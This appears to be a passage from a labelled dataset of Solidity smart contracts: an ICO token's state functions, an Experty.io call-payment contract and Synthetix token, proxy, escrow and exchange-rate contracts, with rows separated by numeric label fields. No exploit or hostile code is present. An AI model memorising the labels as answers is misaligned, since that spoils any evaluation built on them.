function addPresaleAmount(address beneficiary, uint256 amount)
public
onlyTokenAssignmentControl
{
require(state == States.ValuationSet || state == States.Ico);
issueTokensToUser(beneficiary, amount);
}
function endICO()
public
onlyStateControl
requireState(States.Ico)
{
finishMinting();
moveToState(States.Operational);
}
function anyoneEndICO()
public
requireState(States.Ico)
{
require(block.timestamp > endTimestamp);
finishMinting();
moveToState(States.Operational);
}
function finishMinting()
internal
{
mintingFinished = true;
MintFinished();
}
function addToWhitelist(address _whitelisted)
public
onlyWhitelist
{
whitelist[_whitelisted] = true;
Whitelisted(_whitelisted);
}
function pause()
public
onlyStateControl
requireState(States.Ico)
{
moveToState(States.Paused);
}
function abort()
public
onlyStateControl
requireState(States.Paused)
{
moveToState(States.Underfunded);
}
function resumeICO()
public
onlyStateControl
requireState(States.Paused)
{
moveToState(States.Ico);
}
function requestRefund()
public
requireState(States.Underfunded)
{
require(ethPossibleRefunds[msg.sender] > 0);
uint256 payout = ethPossibleRefunds[msg.sender];
ethPossibleRefunds[msg.sender] = 0;
msg.sender.transfer(payout);
}
function requestPayout(uint _amount)
public
onlyWithdraw
requireState(States.Operational)
{
msg.sender.transfer(_amount);
}
function rescueToken(ERC20Basic _foreignToken, address _to)
public
onlyTokenAssignmentControl
requireState(States.Operational)
{
_foreignToken.transfer(_to, _foreignToken.balanceOf(this));
}
function transfer(address _to, uint256 _value)
public
requireState(States.Operational)
returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
public
requireState(States.Operational)
returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
function balanceOf(address _account)
public
constant
returns (uint256 balance) {
return balances[_account];
}
} | 0 | 907 |
pragma solidity ^0.4.4;
contract ERC223Token {
function transfer(address _from, uint _value, bytes _data) public;
}
contract Operations {
mapping (address => uint) public balances;
mapping (address => bytes32) public activeCall;
mapping (bytes32 => address) public recipientsMap;
mapping (address => uint) public endCallRequestDate;
uint endCallRequestDelay = 1 hours;
ERC223Token public exy;
function Operations() public {
exy = ERC223Token(0xFA74F89A6d4a918167C51132614BbBE193Ee8c22);
}
function tokenFallback(address _from, uint _value, bytes _data) public {
balances[_from] += _value;
}
function withdraw(uint value) public {
require(activeCall[msg.sender] == 0x0);
uint balance = balances[msg.sender];
require(value <= balance);
balances[msg.sender] -= value;
bytes memory empty;
exy.transfer(msg.sender, value, empty);
}
function startCall(uint timestamp, uint8 _v, bytes32 _r, bytes32 _s) public {
address recipient = msg.sender;
bytes32 callHash = keccak256('Experty.io startCall:', recipient, timestamp);
address caller = ecrecover(callHash, _v, _r, _s);
require(activeCall[caller] == 0x0);
activeCall[caller] = callHash;
recipientsMap[callHash] = recipient;
endCallRequestDate[caller] = 0;
}
function endCall(bytes32 callHash, uint amount, uint8 _v, bytes32 _r, bytes32 _s) public {
address recipient = recipientsMap[callHash];
require(recipient == msg.sender);
bytes32 endHash = keccak256('Experty.io endCall:', recipient, callHash, amount);
address caller = ecrecover(endHash, _v, _r, _s);
require(activeCall[caller] == callHash);
uint maxAmount = amount;
if (maxAmount > balances[caller]) {
maxAmount = balances[caller];
}
recipientsMap[callHash] = 0x0;
activeCall[caller] = 0x0;
settlePayment(caller, msg.sender, maxAmount);
}
function requestEndCall() public {
require(activeCall[msg.sender] != 0x0);
endCallRequestDate[msg.sender] = block.timestamp;
}
function forceEndCall() public {
require(activeCall[msg.sender] != 0x0);
require(endCallRequestDate[msg.sender] != 0);
require(endCallRequestDate[msg.sender] + endCallRequestDelay < block.timestamp);
endCallRequestDate[msg.sender] = 0;
recipientsMap[activeCall[msg.sender]] = 0x0;
activeCall[msg.sender] = 0x0;
}
function settlePayment(address sender, address recipient, uint value) private {
balances[sender] -= value;
balances[recipient] += value;
}
} | 0 | 1,289 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10 ** uint(decimals);
uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals);
function unit()
external
pure
returns (uint)
{
return UNIT;
}
function preciseUnit()
external
pure
returns (uint)
{
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i)
internal
pure
returns (uint)
{
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i)
internal
pure
returns (uint)
{
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
contract State is Owned {
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
event AssociatedContractUpdated(address associatedContract);
}
contract TokenState is State {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
contract Proxyable is Owned {
Proxy public proxy;
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
contract ReentrancyPreventer {
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
contract TokenFallbackCaller is ReentrancyPreventer {
function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data)
internal
preventReentrancy
{
uint length;
assembly {
length := extcodesize(recipient)
}
if (length > 0) {
recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data));
}
}
}
contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller {
using SafeMath for uint;
using SafeDecimalMath for uint;
TokenState public tokenState;
string public name;
string public symbol;
uint public totalSupply;
uint8 public decimals;
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
uint8 _decimals, address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
tokenState = _tokenState;
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
}
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));
callTokenFallbackIfNeeded(from, to, value, data);
emitTransfer(from, to, value);
return true;
}
function _transfer_byProxy(address from, address to, uint value, bytes data)
internal
returns (bool)
{
return _internalTransfer(from, to, value, data);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value));
return _internalTransfer(from, to, value, data);
}
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract LimitedSetup {
uint setupExpiryTime;
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
contract SynthetixEscrow is Owned, LimitedSetup(8 weeks) {
using SafeMath for uint;
Synthetix public synthetix;
mapping(address => uint[2][]) public vestingSchedules;
mapping(address => uint) public totalVestedAccountBalance;
uint public totalVestedBalance;
uint constant TIME_INDEX = 0;
uint constant QUANTITY_INDEX = 1;
uint constant MAX_VESTING_ENTRIES = 20;
constructor(address _owner, Synthetix _synthetix)
Owned(_owner)
public
{
synthetix = _synthetix;
}
function setSynthetix(Synthetix _synthetix)
external
onlyOwner
{
synthetix = _synthetix;
emit SynthetixUpdated(_synthetix);
}
function balanceOf(address account)
public
view
returns (uint)
{
return totalVestedAccountBalance[account];
}
function numVestingEntries(address account)
public
view
returns (uint)
{
return vestingSchedules[account].length;
}
function getVestingScheduleEntry(address account, uint index)
public
view
returns (uint[2])
{
return vestingSchedules[account][index];
}
function getVestingTime(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[TIME_INDEX];
}
function getVestingQuantity(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[QUANTITY_INDEX];
}
function getNextVestingIndex(address account)
public
view
returns (uint)
{
uint len = numVestingEntries(account);
for (uint i = 0; i < len; i++) {
if (getVestingTime(account, i) != 0) {
return i;
}
}
return len;
}
function getNextVestingEntry(address account)
public
view
returns (uint[2])
{
uint index = getNextVestingIndex(account);
if (index == numVestingEntries(account)) {
return [uint(0), 0];
}
return getVestingScheduleEntry(account, index);
}
function getNextVestingTime(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[TIME_INDEX];
}
function getNextVestingQuantity(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[QUANTITY_INDEX];
}
function withdrawSynthetix(uint quantity)
external
onlyOwner
onlyDuringSetup
{
synthetix.transfer(synthetix, quantity);
}
function purgeAccount(address account)
external
onlyOwner
onlyDuringSetup
{
delete vestingSchedules[account];
totalVestedBalance = totalVestedBalance.sub(totalVestedAccountBalance[account]);
delete totalVestedAccountBalance[account];
}
function appendVestingEntry(address account, uint time, uint quantity)
public
onlyOwner
onlyDuringSetup
{
require(now < time, "Time must be in the future");
require(quantity != 0, "Quantity cannot be zero");
totalVestedBalance = totalVestedBalance.add(quantity);
require(totalVestedBalance <= synthetix.balanceOf(this), "Must be enough balance in the contract to provide for the vesting entry");
uint scheduleLength = vestingSchedules[account].length;
require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long");
if (scheduleLength == 0) {
totalVestedAccountBalance[account] = quantity;
} else {
require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one");
totalVestedAccountBalance[account] = totalVestedAccountBalance[account].add(quantity);
}
vestingSchedules[account].push([time, quantity]);
}
function addVestingSchedule(address account, uint[] times, uint[] quantities)
external
onlyOwner
onlyDuringSetup
{
for (uint i = 0; i < times.length; i++) {
appendVestingEntry(account, times[i], quantities[i]);
}
}
function vest()
external
{
uint numEntries = numVestingEntries(msg.sender);
uint total;
for (uint i = 0; i < numEntries; i++) {
uint time = getVestingTime(msg.sender, i);
if (time > now) {
break;
}
uint qty = getVestingQuantity(msg.sender, i);
if (qty == 0) {
continue;
}
vestingSchedules[msg.sender][i] = [0, 0];
total = total.add(qty);
}
if (total != 0) {
totalVestedBalance = totalVestedBalance.sub(total);
totalVestedAccountBalance[msg.sender] = totalVestedAccountBalance[msg.sender].sub(total);
synthetix.transfer(msg.sender, total);
emit Vested(msg.sender, now, total);
}
}
event SynthetixUpdated(address newSynthetix);
event Vested(address indexed beneficiary, uint time, uint value);
}
contract SynthetixState is State, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
struct IssuanceData {
uint initialDebtOwnership;
uint debtEntryIndex;
}
mapping(address => IssuanceData) public issuanceData;
uint public totalIssuerCount;
uint[] public debtLedger;
uint public importedXDRAmount;
uint public issuanceRatio = SafeDecimalMath.unit() / 5;
uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit();
mapping(address => bytes4) public preferredCurrency;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
LimitedSetup(1 weeks)
public
{}
function setCurrentIssuanceData(address account, uint initialDebtOwnership)
external
onlyAssociatedContract
{
issuanceData[account].initialDebtOwnership = initialDebtOwnership;
issuanceData[account].debtEntryIndex = debtLedger.length;
}
function clearIssuanceData(address account)
external
onlyAssociatedContract
{
delete issuanceData[account];
}
function incrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.add(1);
}
function decrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.sub(1);
}
function appendDebtLedgerValue(uint value)
external
onlyAssociatedContract
{
debtLedger.push(value);
}
function setPreferredCurrency(address account, bytes4 currencyKey)
external
onlyAssociatedContract
{
preferredCurrency[account] = currencyKey;
}
function setIssuanceRatio(uint _issuanceRatio)
external
onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emit IssuanceRatioUpdated(_issuanceRatio);
}
function importIssuerData(address[] accounts, uint[] sUSDAmounts)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == sUSDAmounts.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
_addToDebtRegister(accounts[i], sUSDAmounts[i]);
}
}
function _addToDebtRegister(address account, uint amount)
internal
{
Synthetix synthetix = Synthetix(associatedContract);
uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR");
uint totalDebtIssued = importedXDRAmount;
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
importedXDRAmount = newTotalDebtIssued;
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = synthetix.debtBalanceOf(account, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (issuanceData[account].initialDebtOwnership == 0) {
totalIssuerCount = totalIssuerCount.add(1);
}
issuanceData[account].initialDebtOwnership = debtPercentage;
issuanceData[account].debtEntryIndex = debtLedger.length;
if (debtLedger.length > 0) {
debtLedger.push(
debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta)
);
} else {
debtLedger.push(SafeDecimalMath.preciseUnit());
}
}
function debtLedgerLength()
external
view
returns (uint)
{
return debtLedger.length;
}
function lastDebtLedgerEntry()
external
view
returns (uint)
{
return debtLedger[debtLedger.length - 1];
}
function hasIssued(address account)
external
view
returns (bool)
{
return issuanceData[account].initialDebtOwnership > 0;
}
event IssuanceRatioUpdated(uint newRatio);
}
contract ExchangeRates is SelfDestructible {
using SafeMath for uint;
mapping(bytes4 => uint) public rates;
mapping(bytes4 => uint) public lastRateUpdateTimes;
address public oracle;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
uint public rateStalePeriod = 3 hours;
bytes4[5] public xdrParticipants;
struct InversePricing {
uint entryPoint;
uint upperLimit;
uint lowerLimit;
bool frozen;
}
mapping(bytes4 => InversePricing) public inversePricing;
bytes4[] public invertedKeys;
constructor(
address _owner,
address _oracle,
bytes4[] _currencyKeys,
uint[] _newRates
)
SelfDestructible(_owner)
public
{
require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match.");
oracle = _oracle;
rates["sUSD"] = SafeDecimalMath.unit();
lastRateUpdateTimes["sUSD"] = now;
xdrParticipants = [
bytes4("sUSD"),
bytes4("sAUD"),
bytes4("sCHF"),
bytes4("sEUR"),
bytes4("sGBP")
];
internalUpdateRates(_currencyKeys, _newRates, now);
}
function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
external
onlyOracle
returns(bool)
{
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
internal
returns(bool)
{
require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length.");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future");
for (uint i = 0; i < currencyKeys.length; i++) {
require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead.");
require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT.");
if (timeSent < lastRateUpdateTimes[currencyKeys[i]]) {
continue;
}
newRates[i] = rateOrInverted(currencyKeys[i], newRates[i]);
rates[currencyKeys[i]] = newRates[i];
lastRateUpdateTimes[currencyKeys[i]] = timeSent;
}
emit RatesUpdated(currencyKeys, newRates);
updateXDRRate(timeSent);
return true;
}
function rateOrInverted(bytes4 currencyKey, uint rate) internal returns (uint) {
InversePricing storage inverse = inversePricing[currencyKey];
if (inverse.entryPoint <= 0) {
return rate;
}
uint newInverseRate = rates[currencyKey];
if (!inverse.frozen) {
uint doubleEntryPoint = inverse.entryPoint.mul(2);
if (doubleEntryPoint <= rate) {
newInverseRate = 0;
} else {
newInverseRate = doubleEntryPoint.sub(rate);
}
if (newInverseRate >= inverse.upperLimit) {
newInverseRate = inverse.upperLimit;
} else if (newInverseRate <= inverse.lowerLimit) {
newInverseRate = inverse.lowerLimit;
}
if (newInverseRate == inverse.upperLimit || newInverseRate == inverse.lowerLimit) {
inverse.frozen = true;
emit InversePriceFrozen(currencyKey);
}
}
return newInverseRate;
}
function updateXDRRate(uint timeSent)
internal
{
uint total = 0;
for (uint i = 0; i < xdrParticipants.length; i++) {
total = rates[xdrParticipants[i]].add(total);
}
rates["XDR"] = total;
lastRateUpdateTimes["XDR"] = timeSent;
bytes4[] memory eventCurrencyCode = new bytes4[](1);
eventCurrencyCode[0] = "XDR";
uint[] memory eventRate = new uint[](1);
eventRate[0] = rates["XDR"];
emit RatesUpdated(eventCurrencyCode, eventRate);
}
function deleteRate(bytes4 currencyKey)
external
onlyOracle
{
require(rates[currencyKey] > 0, "Rate is zero");
delete rates[currencyKey];
delete lastRateUpdateTimes[currencyKey];
emit RateDeleted(currencyKey);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setRateStalePeriod(uint _time)
external
onlyOwner
{
rateStalePeriod = _time;
emit RateStalePeriodUpdated(rateStalePeriod);
}
function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit)
external onlyOwner
{
require(entryPoint > 0, "entryPoint must be above 0");
require(lowerLimit > 0, "lowerLimit must be above 0");
require(upperLimit > entryPoint, "upperLimit must be above the entryPoint");
require(upperLimit < entryPoint.mul(2), "upperLimit must be less than double entryPoint");
require(lowerLimit < entryPoint, "lowerLimit must be below the entryPoint");
if (inversePricing[currencyKey].entryPoint <= 0) {
invertedKeys.push(currencyKey);
}
inversePricing[currencyKey].entryPoint = entryPoint;
inversePricing[currencyKey].upperLimit = upperLimit;
inversePricing[currencyKey].lowerLimit = lowerLimit;
inversePricing[currencyKey].frozen = false;
emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit);
}
function removeInversePricing(bytes4 currencyKey) external onlyOwner {
inversePricing[currencyKey].entryPoint = 0;
inversePricing[currencyKey].upperLimit = 0;
inversePricing[currencyKey].lowerLimit = 0;
inversePricing[currencyKey].frozen = false;
for (uint8 i = 0; i < invertedKeys.length; i++) {
if (invertedKeys[i] == currencyKey) {
delete invertedKeys[i];
invertedKeys[i] = invertedKeys[invertedKeys.length - 1];
invertedKeys.length--;
break;
}
}
emit InversePriceConfigured(currencyKey, 0, 0, 0);
}
function rateForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return rates[currencyKey];
}
function ratesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory _rates = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
_rates[i] = rates[currencyKeys[i]];
}
return _rates;
}
function lastRateUpdateTimeForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return lastRateUpdateTimes[currencyKey];
}
function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]];
}
return lastUpdateTimes;
}
function rateIsStale(bytes4 currencyKey)
external
view
returns (bool)
{
if (currencyKey == "sUSD") return false;
return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now;
}
function rateIsFrozen(bytes4 currencyKey)
external
view
returns (bool)
{
return inversePricing[currencyKey].frozen;
}
function anyRateIsStale(bytes4[] currencyKeys)
external
view
returns (bool)
{
uint256 i = 0;
while (i < currencyKeys.length) {
if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) {
return true;
}
i += 1;
}
return false;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
event OracleUpdated(address newOracle);
event RateStalePeriodUpdated(uint rateStalePeriod);
event RatesUpdated(bytes4[] currencyKeys, uint[] newRates);
event RateDeleted(bytes4 currencyKey);
event InversePriceConfigured(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit);
event InversePriceFrozen(bytes4 currencyKey);
}
contract Synthetix is ExternStateToken {
Synth[] public availableSynths;
mapping(bytes4 => Synth) public synths;
FeePool public feePool;
SynthetixEscrow public escrow;
ExchangeRates public exchangeRates;
SynthetixState public synthetixState;
uint constant SYNTHETIX_SUPPLY = 1e8 * SafeDecimalMath.unit();
string constant TOKEN_NAME = "Synthetix Network Token";
string constant TOKEN_SYMBOL = "SNX";
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState,
address _owner, ExchangeRates _exchangeRates, FeePool _feePool
)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, SYNTHETIX_SUPPLY, DECIMALS, _owner)
public
{
synthetixState = _synthetixState;
exchangeRates = _exchangeRates;
feePool = _feePool;
}
function addSynth(Synth synth)
external
optionalProxy_onlyOwner
{
bytes4 currencyKey = synth.currencyKey();
require(synths[currencyKey] == Synth(0), "Synth already exists");
availableSynths.push(synth);
synths[currencyKey] = synth;
emitSynthAdded(currencyKey, synth);
}
function removeSynth(bytes4 currencyKey)
external
optionalProxy_onlyOwner
{
require(synths[currencyKey] != address(0), "Synth does not exist");
require(synths[currencyKey].totalSupply() == 0, "Synth supply exists");
require(currencyKey != "XDR", "Cannot remove XDR synth");
address synthToRemove = synths[currencyKey];
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == synthToRemove) {
delete availableSynths[i];
availableSynths[i] = availableSynths[availableSynths.length - 1];
availableSynths.length--;
break;
}
}
delete synths[currencyKey];
